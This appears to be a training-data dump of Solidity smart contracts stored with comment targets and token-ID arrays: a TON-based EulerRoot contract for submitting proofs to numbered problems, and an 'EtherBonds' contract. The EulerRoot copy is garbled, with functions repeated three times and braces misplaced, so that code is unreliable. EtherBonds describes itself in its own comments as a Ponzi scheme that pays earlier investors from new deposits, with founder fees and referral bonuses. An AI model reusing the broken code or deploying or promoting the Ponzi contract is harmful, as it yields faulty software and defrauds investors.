bytes verifkey,
bytes zip_provkey,
string nonce,
string title,
string description,
string url)
public view returns ( address addr )
{
require( g_owner == msg.pubkey(), EXN_AUTH_FAILED );
require( address(this).balance > 1 ton, EXN_NOT_ENOUGH_VALUE );
tvm.accept() ;
addr = new EulerProblem {
value: 1 ton,
pubkey: tvm.pubkey() ,
code: g_problem_code ,
varInit: {
s_problem: problem ,
s_root_contract: this
}
}( verifkey, zip_provkey, nonce, title, description, url );
}
/// @dev This function deploys a EulerUser contract associated with a
/// given public key. Anybody can call this function from a multisig.
/// @param pubkey: The user pubkey
function new_user( uint256 pubkey ) public view returns ( address addr )
{
require( msg.value >= 1 ton, EXN_AUTH_FAILED );
addr = new EulerUser {
value: msg.value - 0.1 ton,
pubkey: pubkey ,
code: g_user_code ,
varInit: {
s_root_contract: this
}
}() ;
}
/// @dev Returns the address of the EulerProblem contract associated
/// with a given problem number. The contract exists only if
/// 'new_problem' has been called before.
/// @param problem : the number of the problem
function problem_address( uint32 problem ) public view
returns ( address addr )
{
TvmCell stateInit = tvm.buildStateInit({
contr: EulerProblem ,
pubkey: tvm.pubkey() ,
code: g_problem_code ,
varInit: {
s_problem: problem ,
s_root_contract: this
}
});
addr = address(tvm.hash(stateInit));
}
/// @dev returns the address of the EulerUser contract associated
/// with a given pubkey. The contract only exists if 'new_user' has
/// been called before.
function user_address( uint256 pubkey ) public view
returns ( address addr )
{
TvmCell stateInit = tvm.buildStateInit({
contr: EulerUser ,
pubkey: pubkey ,
code: g_user_code ,
varInit: {
s_root_contract: this
}
});
addr = address(tvm.hash(stateInit));
}
/// @dev submits a solution to a given problem, using a proof
/// generated by euler-client C++ program, associated with the
/// given pubkey. The proof will fail if another pubkey is
/// provided.
/// @param problem: number of the problem
/// @param proof: the 'proof.bin' generated by euler-client
/// @param pubkey: the pubkey of the user, as used when generating
/// 'proof.bin'
function submit( uint32 problem,
bytes proof,
uint256 pubkey) public view override
{
address addr = problem_address( problem );
EulerProblem( addr ).submit
{ value:0, flag: 64} ( problem, proof, pubkey );
}
/// @dev updates the Blueprint circuit associated with a given problem
/// @param problem: the number of the problem
/// @param verifkey: the new verification key of the circuit
/// @param zip_provkey: the new proving key of the circuit to be used to
/// generate submission proofs
/// @param nonce: the nonce to be used to generate submission proofs
function update_circuit( uint32 problem,
bytes verifkey,
bytes zip_provkey,
string nonce ) public view
{
require( g_owner == msg.pubkey(), EXN_AUTH_FAILED );
tvm.accept();
address addr = problem_address( problem );
EulerProblem( addr ).update_circuit
{ value:0.2 ton } ( verifkey, zip_provkey, nonce );
}
/// @dev Updates the description of a problem. Only called by the owner of
/// the EulerRoot contract.
/// @param problem: the number of the problem
/// @param title: the new title of the problem or empty string
/// @param description: the new description of the problem or empty string
/// @param url: the new url of the problem or empty string
function update_problem( uint32 problem,
string title,
string description,
string url ) public view
{
require( g_owner == msg.pubkey(), EXN_AUTH_FAILED );
tvm.accept();
address addr = problem_address( problem );
EulerProblem( addr ).update_problem
{ value:0.2 ton } ( title, description, url );
}
/// @dev This function is called by a EulerProblem when a user
/// successfully submitted a solution. The function verifies that
/// the sender is indeed an EulerProblem contract as expected. The
/// function emits en event and calls the EulerUser contract to
/// record the information
/// @param problem: the number of the problem
/// @param pubkey: the user pubkey who successfully solved the problem
function has_solved( uint32 problem,
uint256 pubkey ) public override
{
address addr = problem_address( problem ) ;
require( addr == msg.sender, EXN_AUTH_FAILED );
emit ProblemSolved( problem, pubkey );
addr = user_address( pubkey );
EulerUser( addr ).has_solved{ value:0, flag: 64 }( problem );
}
/// @dev This get-method function is used to recover information on
/// this contract
function get() public view returns
( uint256 owner, uint256 problem_code_hash, uint256 user_code_hash )
{
owner = g_owner ;
problem_code_hash = tvm.hash ( g_problem_code );
user_code_hash = tvm.hash ( g_user_code );
}
/// @dev This internal function is used to change the owner of the
/// contract using the pincode-client smart contract (described in
/// 03-pincode section)
function recover_pubkey ( uint256 oldkey,
uint256 newkey) internal override
{
if( oldkey == g_owner ){
g_owner = newkey;
}
}
}
| The owner of this contract, who can create new EulerProblem contracts The code of EulerProblem contracts The code of EulerUser contracts | contract EulerRoot is IEulerRoot, RecoverablePubkey {
uint64 constant EXN_AUTH_FAILED = 100 ;
uint64 constant EXN_NOT_ENOUGH_VALUE = 101 ;
event ProblemSolved( uint32 problem, uint256 pubkey );
uint256 g_owner ;
TvmCell g_problem_code ;
TvmCell g_user_code ;
Implementation of contract EulerRoot
constructor( TvmCell problem_code, TvmCell user_code ) public {
require( msg.pubkey() == tvm.pubkey(), EXN_AUTH_FAILED );
require( address(this).balance >= 2 ton, EXN_NOT_ENOUGH_VALUE );
tvm.accept();
g_owner = msg.pubkey() ;
g_problem_code = problem_code ;
g_user_code = user_code ;
}
function new_problem( uint32 problem,
bytes verifkey,
bytes zip_provkey,
string nonce,
string title,
string description,
string url)
public view returns ( address addr )
{
require( g_owner == msg.pubkey(), EXN_AUTH_FAILED );
require( address(this).balance > 1 ton, EXN_NOT_ENOUGH_VALUE );
tvm.accept() ;
addr = new EulerProblem {
value: 1 ton,
pubkey: tvm.pubkey() ,
code: g_problem_code ,
varInit: {
s_problem: problem ,
s_root_contract: this
}
}( verifkey, zip_provkey, nonce, title, description, url );
}
function new_problem( uint32 problem,
bytes verifkey,
bytes zip_provkey,
string nonce,
string title,
string description,
string url)
public view returns ( address addr )
{
require( g_owner == msg.pubkey(), EXN_AUTH_FAILED );
require( address(this).balance > 1 ton, EXN_NOT_ENOUGH_VALUE );
tvm.accept() ;
addr = new EulerProblem {
value: 1 ton,
pubkey: tvm.pubkey() ,
code: g_problem_code ,
varInit: {
s_problem: problem ,
s_root_contract: this
}
}( verifkey, zip_provkey, nonce, title, description, url );
}
function new_problem( uint32 problem,
bytes verifkey,
bytes zip_provkey,
string nonce,
string title,
string description,
string url)
public view returns ( address addr )
{
require( g_owner == msg.pubkey(), EXN_AUTH_FAILED );
require( address(this).balance > 1 ton, EXN_NOT_ENOUGH_VALUE );
tvm.accept() ;
addr = new EulerProblem {
value: 1 ton,
pubkey: tvm.pubkey() ,
code: g_problem_code ,
varInit: {
s_problem: problem ,
s_root_contract: this
}
}( verifkey, zip_provkey, nonce, title, description, url );
}
function new_user( uint256 pubkey ) public view returns ( address addr )
{
require( msg.value >= 1 ton, EXN_AUTH_FAILED );
addr = new EulerUser {
value: msg.value - 0.1 ton,
pubkey: pubkey ,
code: g_user_code ,
varInit: {
s_root_contract: this
}
}() ;
}
function new_user( uint256 pubkey ) public view returns ( address addr )
{
require( msg.value >= 1 ton, EXN_AUTH_FAILED );
addr = new EulerUser {
value: msg.value - 0.1 ton,
pubkey: pubkey ,
code: g_user_code ,
varInit: {
s_root_contract: this
}
}() ;
}
function new_user( uint256 pubkey ) public view returns ( address addr )
{
require( msg.value >= 1 ton, EXN_AUTH_FAILED );
addr = new EulerUser {
value: msg.value - 0.1 ton,
pubkey: pubkey ,
code: g_user_code ,
varInit: {
s_root_contract: this
}
}() ;
}
function problem_address( uint32 problem ) public view
returns ( address addr )
{
TvmCell stateInit = tvm.buildStateInit({
contr: EulerProblem ,
pubkey: tvm.pubkey() ,
code: g_problem_code ,
varInit: {
s_problem: problem ,
s_root_contract: this
}
});
addr = address(tvm.hash(stateInit));
}
function problem_address( uint32 problem ) public view
returns ( address addr )
{
TvmCell stateInit = tvm.buildStateInit({
contr: EulerProblem ,
pubkey: tvm.pubkey() ,
code: g_problem_code ,
varInit: {
s_problem: problem ,
s_root_contract: this
}
});
addr = address(tvm.hash(stateInit));
}
function problem_address( uint32 problem ) public view
returns ( address addr )
{
TvmCell stateInit = tvm.buildStateInit({
contr: EulerProblem ,
pubkey: tvm.pubkey() ,
code: g_problem_code ,
varInit: {
s_problem: problem ,
s_root_contract: this
}
});
addr = address(tvm.hash(stateInit));
}
function user_address( uint256 pubkey ) public view
returns ( address addr )
{
TvmCell stateInit = tvm.buildStateInit({
contr: EulerUser ,
pubkey: pubkey ,
code: g_user_code ,
varInit: {
s_root_contract: this
}
});
addr = address(tvm.hash(stateInit));
}
function user_address( uint256 pubkey ) public view
returns ( address addr )
{
TvmCell stateInit = tvm.buildStateInit({
contr: EulerUser ,
pubkey: pubkey ,
code: g_user_code ,
varInit: {
s_root_contract: this
}
});
addr = address(tvm.hash(stateInit));
}
function user_address( uint256 pubkey ) public view
returns ( address addr )
{
TvmCell stateInit = tvm.buildStateInit({
contr: EulerUser ,
pubkey: pubkey ,
code: g_user_code ,
varInit: {
s_root_contract: this
}
});
addr = address(tvm.hash(stateInit));
}
function submit( uint32 problem,
bytes proof,
uint256 pubkey) public view override
{
address addr = problem_address( problem );
EulerProblem( addr ).submit
}
{ value:0, flag: 64} ( problem, proof, pubkey );
function update_circuit( uint32 problem,
bytes verifkey,
bytes zip_provkey,
string nonce ) public view
{
require( g_owner == msg.pubkey(), EXN_AUTH_FAILED );
tvm.accept();
address addr = problem_address( problem );
EulerProblem( addr ).update_circuit
}
{ value:0.2 ton } ( verifkey, zip_provkey, nonce );
function update_problem( uint32 problem,
string title,
string description,
string url ) public view
{
require( g_owner == msg.pubkey(), EXN_AUTH_FAILED );
tvm.accept();
address addr = problem_address( problem );
EulerProblem( addr ).update_problem
}
{ value:0.2 ton } ( title, description, url );
function has_solved( uint32 problem,
uint256 pubkey ) public override
{
address addr = problem_address( problem ) ;
require( addr == msg.sender, EXN_AUTH_FAILED );
emit ProblemSolved( problem, pubkey );
addr = user_address( pubkey );
}
EulerUser( addr ).has_solved{ value:0, flag: 64 }( problem );
function get() public view returns
( uint256 owner, uint256 problem_code_hash, uint256 user_code_hash )
{
owner = g_owner ;
problem_code_hash = tvm.hash ( g_problem_code );
user_code_hash = tvm.hash ( g_user_code );
}
function recover_pubkey ( uint256 oldkey,
uint256 newkey) internal override
{
if( oldkey == g_owner ){
g_owner = newkey;
}
}
function recover_pubkey ( uint256 oldkey,
uint256 newkey) internal override
{
if( oldkey == g_owner ){
g_owner = newkey;
}
}
}
| 13,107,300 | [
1,
1986,
3410,
434,
333,
6835,
16,
10354,
848,
752,
394,
512,
17040,
13719,
20092,
1021,
981,
434,
512,
17040,
13719,
20092,
1021,
981,
434,
512,
17040,
1299,
20092,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
512,
17040,
2375,
353,
10897,
17040,
2375,
16,
868,
17399,
9581,
856,
288,
203,
203,
225,
2254,
1105,
5381,
5675,
50,
67,
7131,
67,
11965,
273,
2130,
274,
203,
225,
2254,
1105,
5381,
5675,
50,
67,
4400,
67,
1157,
26556,
16715,
67,
4051,
273,
13822,
274,
203,
203,
225,
871,
21685,
55,
12894,
12,
2254,
1578,
6199,
16,
2254,
5034,
15649,
11272,
203,
203,
225,
2254,
5034,
314,
67,
8443,
274,
203,
225,
399,
3489,
4020,
314,
67,
18968,
67,
710,
274,
203,
225,
399,
3489,
4020,
314,
67,
1355,
67,
710,
274,
203,
203,
225,
25379,
434,
6835,
512,
17040,
2375,
203,
203,
225,
3885,
12,
399,
3489,
4020,
6199,
67,
710,
16,
399,
3489,
4020,
729,
67,
710,
262,
1071,
288,
203,
565,
2583,
12,
1234,
18,
23428,
1435,
422,
268,
3489,
18,
23428,
9334,
5675,
50,
67,
7131,
67,
11965,
11272,
203,
565,
2583,
12,
1758,
12,
2211,
2934,
12296,
1545,
576,
268,
265,
16,
5675,
50,
67,
4400,
67,
1157,
26556,
16715,
67,
4051,
11272,
203,
565,
268,
3489,
18,
9436,
5621,
203,
565,
314,
67,
8443,
273,
1234,
18,
23428,
1435,
274,
203,
565,
314,
67,
18968,
67,
710,
273,
6199,
67,
710,
274,
203,
565,
314,
67,
1355,
67,
710,
273,
729,
67,
710,
274,
203,
225,
289,
203,
203,
203,
225,
445,
394,
67,
18968,
12,
2254,
1578,
6199,
16,
203,
13491,
1731,
1924,
430,
856,
16,
203,
13491,
1731,
3144,
67,
25529,
856,
16,
203,
13491,
533,
7448,
16,
203,
13491,
533,
2077,
16,
203,
2
] |
pragma solidity ^0.4.19;
/*
*
* Domain on day 1: https://etherbonds.io/
*
* This contract implements bond contracts on the Ethereum blockchain
* - You can buy a bond for ETH (NominalPrice)
* - While buying you can set a desirable MaturityDate
* - After you reach the MaturityDate you can redeem the bond for the MaturityPrice
* - MaturityPrice is always greater than the NominalPrice
* - greater the MaturityDate = higher profit
* - You can't redeem a bond after MaxRedeemTime
*
* For example, you bought a bond for 1 ETH which will mature in 1 month for 63% profit.
* After the month you can redeem the bond and receive your 1.63 ETH.
*
* If you don't want to wait for your bond maturity you can sell it to another investor.
* For example you bought a 1 year bond, 6 months have passed and you urgently need money.
* You can sell the bond on a secondary market to other investors before the maturity date.
* You can also redeem your bond prematurely but only for a part of the nominal price.
*
* !!! THIS IS A HIGH RISK INVESTMENT ASSET !!!
* !!! THIS IS GAMBLING !!!
* !!! THIS IS A PONZI SCHEME !!!
* All funds invested are going to prev investors for the exception of FounderFee and AgentFee
*
* Bonds are generating profit due to NEW and NEW investors BUYING them
* If the contract has no ETH in it you will FAIL to redeem your bond
* However as soon as new bonds will be issued the contract will receive ETH and
* you will be able to redeem the bond.
*
* You can also refer a friend for 10% of the bonds he buys. Your friend will also receive a referral bonus for trading with your code!
*
*/
/*
* ------------------------------
* Main functions are:
* Buy() - to buy a new issued bond
* Redeem() - to redeem your bond for profit
*
* BuyOnSecondaryMarket() - to buy a bond from other investors
* PlaceSellOrder() - to place your bond on the secondary market for selling
* CancelSellOrder() - stop selling your bond
* Withdraw() - to withdraw agant commission or funds after selling a bond on the secondary market
* ------------------------------
*/
/**
/* Math operations with safety checks
*/
contract SafeMath
{
function mul(uint a, uint b) internal pure returns (uint)
{
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint)
{
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function sub(uint a, uint b) internal pure returns (uint)
{
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint)
{
uint c = a + b;
assert(c >= a);
return c;
}
function assert(bool assertion) internal pure
{
if (!assertion)
{
revert();
}
}
}
contract EtherBonds is SafeMath
{
/* A founder can write here useful information */
/* For example current domain name or report a problem */
string public README = "STATUS_OK";
/* You can refer a friend and you will be receiving a bonus for EACH his deal */
/* The friend will also have a bonus but only once */
/* You should have at least one bond in your history to be an agent */
/* Just ask your friend to specify your wallet address with his FIRST deal */
uint32 AgentBonusInPercent = 10;
/* A user gets a bonus for adding an agent for his first deal */
uint32 UserRefBonusInPercent = 3;
/* How long it takes for a bond to mature */
uint32 MinMaturityTimeInDays = 30; // don't set less than 15 days
uint32 MaxMaturityTimeInDays = 240;
/* Minimum price of a bond */
uint MinNominalBondPrice = 0.006 ether;
/* How much % of your bond you can redeem prematurely */
uint32 PrematureRedeemPartInPercent = 25;
/* How much this option costs */
uint32 PrematureRedeemCostInPercent = 20;
/* Be careful! */
/* If you don't redeem your bond AFTER its maturity date */
/* the bond will become irredeemable! */
uint32 RedeemRangeInDays = 1;
uint32 ExtraRedeemRangeInDays = 3;
/* However you can prolong your redeem period for a price */
uint32 ExtraRedeemRangeCostInPercent = 10;
/* Founder takes a fee for each bond sold */
/* There is no way for a founder to take all the contract's money, fonder takes only the fee */
address public Founder;
uint32 public FounderFeeInPercent = 5;
/* Events */
event Issued(uint32 bondId, address owner);
event Sold(uint32 bondId, address seller, address buyer, uint price);
event SellOrderPlaced(uint32 bondId, address seller);
event SellOrderCanceled(uint32 bondId, address seller);
event Redeemed(uint32 bondId, address owner);
struct Bond
{
/* Unique ID of a bond */
uint32 id;
address owner;
uint32 issueTime;
uint32 maturityTime;
uint32 redeemTime;
/* A bond can't be redeemed after this date */
uint32 maxRedeemTime;
bool canBeRedeemedPrematurely;
uint nominalPrice;
uint maturityPrice;
/* You can resell your bond to another user */
uint sellingPrice;
}
uint32 NextBondID = 1;
mapping(uint32 => Bond) public Bonds;
struct UserInfo
{
/* This address will receive commission for this user trading */
address agent;
uint32 totalBonds;
mapping(uint32 => uint32) bonds;
}
mapping(address => UserInfo) public Users;
mapping(address => uint) public Balances;
/* MAIN */
function EtherBonds() public
{
Founder = msg.sender;
}
function ContractInfo()
public view returns(
string readme,
uint32 agentBonusInPercent,
uint32 userRefBonusInPercent,
uint32 minMaturityTimeInDays,
uint32 maxMaturityTimeInDays,
uint minNominalBondPrice,
uint32 prematureRedeemPartInPercent,
uint32 prematureRedeemCostInPercent,
uint32 redeemRangeInDays,
uint32 extraRedeemRangeInDays,
uint32 extraRedeemRangeCostInPercent,
uint32 nextBondID,
uint balance
)
{
readme = README;
agentBonusInPercent = AgentBonusInPercent;
userRefBonusInPercent = UserRefBonusInPercent;
minMaturityTimeInDays = MinMaturityTimeInDays;
maxMaturityTimeInDays = MaxMaturityTimeInDays;
minNominalBondPrice = MinNominalBondPrice;
prematureRedeemPartInPercent = PrematureRedeemPartInPercent;
prematureRedeemCostInPercent = PrematureRedeemCostInPercent;
redeemRangeInDays = RedeemRangeInDays;
extraRedeemRangeInDays = ExtraRedeemRangeInDays;
extraRedeemRangeCostInPercent = ExtraRedeemRangeCostInPercent;
nextBondID = NextBondID;
balance = this.balance;
}
/* This function calcs how much profit will a bond bring */
function MaturityPrice(
uint nominalPrice,
uint32 maturityTimeInDays,
bool hasExtraRedeemRange,
bool canBeRedeemedPrematurely,
bool hasRefBonus
)
public view returns(uint)
{
uint nominalPriceModifierInPercent = 100;
if (hasExtraRedeemRange)
{
nominalPriceModifierInPercent = sub(
nominalPriceModifierInPercent,
ExtraRedeemRangeCostInPercent
);
}
if (canBeRedeemedPrematurely)
{
nominalPriceModifierInPercent = sub(
nominalPriceModifierInPercent,
PrematureRedeemCostInPercent
);
}
if (hasRefBonus)
{
nominalPriceModifierInPercent = add(
nominalPriceModifierInPercent,
UserRefBonusInPercent
);
}
nominalPrice = div(
mul(nominalPrice, nominalPriceModifierInPercent),
100
);
//y = 1.177683 - 0.02134921*x + 0.001112346*x^2 - 0.000010194*x^3 + 0.00000005298844*x^4
/*
15days +7%
30days +30%
60days +138%
120days +700%
240days +9400%
*/
uint x = maturityTimeInDays;
/* The formula will break if x < 15 */
require(x >= 15);
var a = mul(2134921000, x);
var b = mul(mul(111234600, x), x);
var c = mul(mul(mul(1019400, x), x), x);
var d = mul(mul(mul(mul(5298, x), x), x), x);
var k = sub(sub(add(add(117168300000, b), d), a), c);
k = div(k, 10000000);
return div(mul(nominalPrice, k), 10000);
}
/* This function checks if you can change your bond back to money */
function CanBeRedeemed(Bond bond)
internal view returns(bool)
{
return
bond.issueTime > 0 && // a bond should be issued
bond.owner != 0 && // it should should have an owner
bond.redeemTime == 0 && // it should not be already redeemed
bond.sellingPrice == 0 && // it should not be reserved for selling
(
!IsPremature(bond.maturityTime) || // it should be mature / be redeemable prematurely
bond.canBeRedeemedPrematurely
) &&
block.timestamp <= bond.maxRedeemTime; // be careful, you can't redeem too old bonds
}
/* For some external checkings we gonna to wrap this in a function */
function IsPremature(uint maturityTime)
public view returns(bool)
{
return maturityTime > block.timestamp;
}
/* This is how you buy bonds on the primary market */
function Buy(
uint32 maturityTimeInDays,
bool hasExtraRedeemRange,
bool canBeRedeemedPrematurely,
address agent // you can leave it 0
)
public payable
{
/* We don't issue bonds cheaper than MinNominalBondPrice*/
require(msg.value >= MinNominalBondPrice);
/* We don't issue bonds out of allowed maturity range */
require(
maturityTimeInDays >= MinMaturityTimeInDays &&
maturityTimeInDays <= MaxMaturityTimeInDays
);
/* You can have a bonus on your first deal if specify an agent */
bool hasRefBonus = false;
/* On your first deal ... */
if (Users[msg.sender].agent == 0 && Users[msg.sender].totalBonds == 0)
{
/* ... you may specify an agent and get a bonus for this ... */
if (agent != 0)
{
/* ... the agent should have some bonds behind him */
if (Users[agent].totalBonds > 0)
{
Users[msg.sender].agent = agent;
hasRefBonus = true;
}
else
{
agent = 0;
}
}
}
/* On all your next deals you will have the same agent as on the first one */
else
{
agent = Users[msg.sender].agent;
}
/* Issuing a new bond */
Bond memory newBond;
newBond.id = NextBondID;
newBond.owner = msg.sender;
newBond.issueTime = uint32(block.timestamp);
newBond.canBeRedeemedPrematurely = canBeRedeemedPrematurely;
/* You cant redeem your bond for profit untill this date */
newBond.maturityTime =
newBond.issueTime + maturityTimeInDays*24*60*60;
/* Your time to redeem is limited */
newBond.maxRedeemTime =
newBond.maturityTime + (hasExtraRedeemRange?ExtraRedeemRangeInDays:RedeemRangeInDays)*24*60*60;
newBond.nominalPrice = msg.value;
newBond.maturityPrice = MaturityPrice(
newBond.nominalPrice,
maturityTimeInDays,
hasExtraRedeemRange,
canBeRedeemedPrematurely,
hasRefBonus
);
Bonds[newBond.id] = newBond;
NextBondID += 1;
/* Linking the bond to the owner so later he can easily find it */
var user = Users[newBond.owner];
user.bonds[user.totalBonds] = newBond.id;
user.totalBonds += 1;
/* Notify all users about the issuing event */
Issued(newBond.id, newBond.owner);
/* Founder's fee */
uint moneyToFounder = div(
mul(newBond.nominalPrice, FounderFeeInPercent),
100
);
/* Agent bonus */
uint moneyToAgent = div(
mul(newBond.nominalPrice, AgentBonusInPercent),
100
);
if (agent != 0 && moneyToAgent > 0)
{
/* Agent can potentially block user's trading attempts, so we dont use just .transfer*/
Balances[agent] = add(Balances[agent], moneyToAgent);
}
/* Founder always gets his fee */
require(moneyToFounder > 0);
Founder.transfer(moneyToFounder);
}
/* You can also buy bonds on secondary market from other users */
function BuyOnSecondaryMarket(uint32 bondId)
public payable
{
var bond = Bonds[bondId];
/* A bond you are buying should be issued */
require(bond.issueTime > 0);
/* Checking, if the bond is a valuable asset */
require(bond.redeemTime == 0 && block.timestamp < bond.maxRedeemTime);
var price = bond.sellingPrice;
/* You can only buy a bond if an owner is selling it */
require(price > 0);
/* You should have enough money to pay the owner */
require(price <= msg.value);
/* It's ok if you accidentally transfer more money, we will send them back */
var residue = msg.value - price;
/* Transfering the bond */
var oldOwner = bond.owner;
var newOwner = msg.sender;
require(newOwner != 0 && newOwner != oldOwner);
bond.sellingPrice = 0;
bond.owner = newOwner;
var user = Users[bond.owner];
user.bonds[user.totalBonds] = bond.id;
user.totalBonds += 1;
/* Doublechecking the price */
require(add(price, residue) == msg.value);
/* Notify all users about the exchange event */
Sold(bond.id, oldOwner, newOwner, price);
/* Old owner can potentially block user's trading attempts, so we dont use just .transfer*/
Balances[oldOwner] = add(Balances[oldOwner], price);
if (residue > 0)
{
/* If there is residue we will send it back */
newOwner.transfer(residue);
}
}
/* You can sell your bond on the secondary market */
function PlaceSellOrder(uint32 bondId, uint sellingPrice)
public
{
/* To protect from an accidental selling by 0 price */
/* The selling price should be in Wei */
require(sellingPrice >= MinNominalBondPrice);
var bond = Bonds[bondId];
/* A bond you are selling should be issued */
require(bond.issueTime > 0);
/* You can't update selling price, please, call CancelSellOrder beforehand */
require(bond.sellingPrice == 0);
/* You can't sell useless bonds */
require(bond.redeemTime == 0 && block.timestamp < bond.maxRedeemTime);
/* You should own a bond you're selling */
require(bond.owner == msg.sender);
bond.sellingPrice = sellingPrice;
/* Notify all users about you wanting to sell the bond */
SellOrderPlaced(bond.id, bond.owner);
}
/* You can cancel your sell order */
function CancelSellOrder(uint32 bondId)
public
{
var bond = Bonds[bondId];
/* Bond should be reserved for selling */
require(bond.sellingPrice > 0);
/* You should own a bond which sell order you're cancelling */
require(bond.owner == msg.sender);
bond.sellingPrice = 0;
/* Notify all users about cancelling the selling order */
SellOrderCanceled(bond.id, bond.owner);
}
/* Sometimes we can't just use .transfer for a security reason */
function Withdraw()
public
{
require(Balances[msg.sender] > 0);
/* Don't forget about double entering in .transfer! */
var money = Balances[msg.sender];
Balances[msg.sender] = 0;
msg.sender.transfer(money);
}
/* You can redeem bonds back to the contract for profit */
/* But you need to wait till maturityTime */
/* This is the key function where you get profit for a bond you own */
function Redeem(uint32 bondId)
public
{
var bond = Bonds[bondId];
require(CanBeRedeemed(bond));
/* You should own a bond you redeem */
require(bond.owner == msg.sender);
/* If a bond has redeemTime it has been redeemed */
bond.redeemTime = uint32(block.timestamp);
/* If it's a premature redeem you will only get
PrematureRedeemPartInPercent of nominalPrice back */
if (IsPremature(bond.maturityTime))
{
bond.maturityPrice = div(
mul(bond.nominalPrice, PrematureRedeemPartInPercent),
100
);
}
/* Notify all users about the redeem event */
Redeemed(bond.id, bond.owner);
/* Transfer funds to the owner */
/* This is how you earn money */
bond.owner.transfer(bond.maturityPrice);
}
/* Be carefull, this function can return a bound of a differet owner
if the bond was sold. Always check the bond owner */
function UserBondByOffset(uint32 offset)
public view
returns(
uint32 bondId,
bool canBeRedeemed,
bool isPremature
)
{
var bond = Bonds[Users[msg.sender].bonds[offset]];
bondId = bond.id;
canBeRedeemed = CanBeRedeemed(bond);
isPremature = IsPremature(bond.maturityTime);
}
function BondInfoById(uint32 bondId)
public view
returns(
bool canBeRedeemed,
bool isPremature
)
{
var bond = Bonds[bondId];
canBeRedeemed = CanBeRedeemed(bond);
isPremature = IsPremature(bond.maturityTime);
}
/* ADMIN */
function AdmChange_README(string value) public
{
require(msg.sender == Founder);
README = value;
}
} | don't set less than 15 days
| uint32 MinMaturityTimeInDays = 30; | 5,401,579 | [
1,
19752,
1404,
444,
5242,
2353,
4711,
4681,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
2254,
1578,
5444,
15947,
2336,
950,
382,
9384,
273,
5196,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
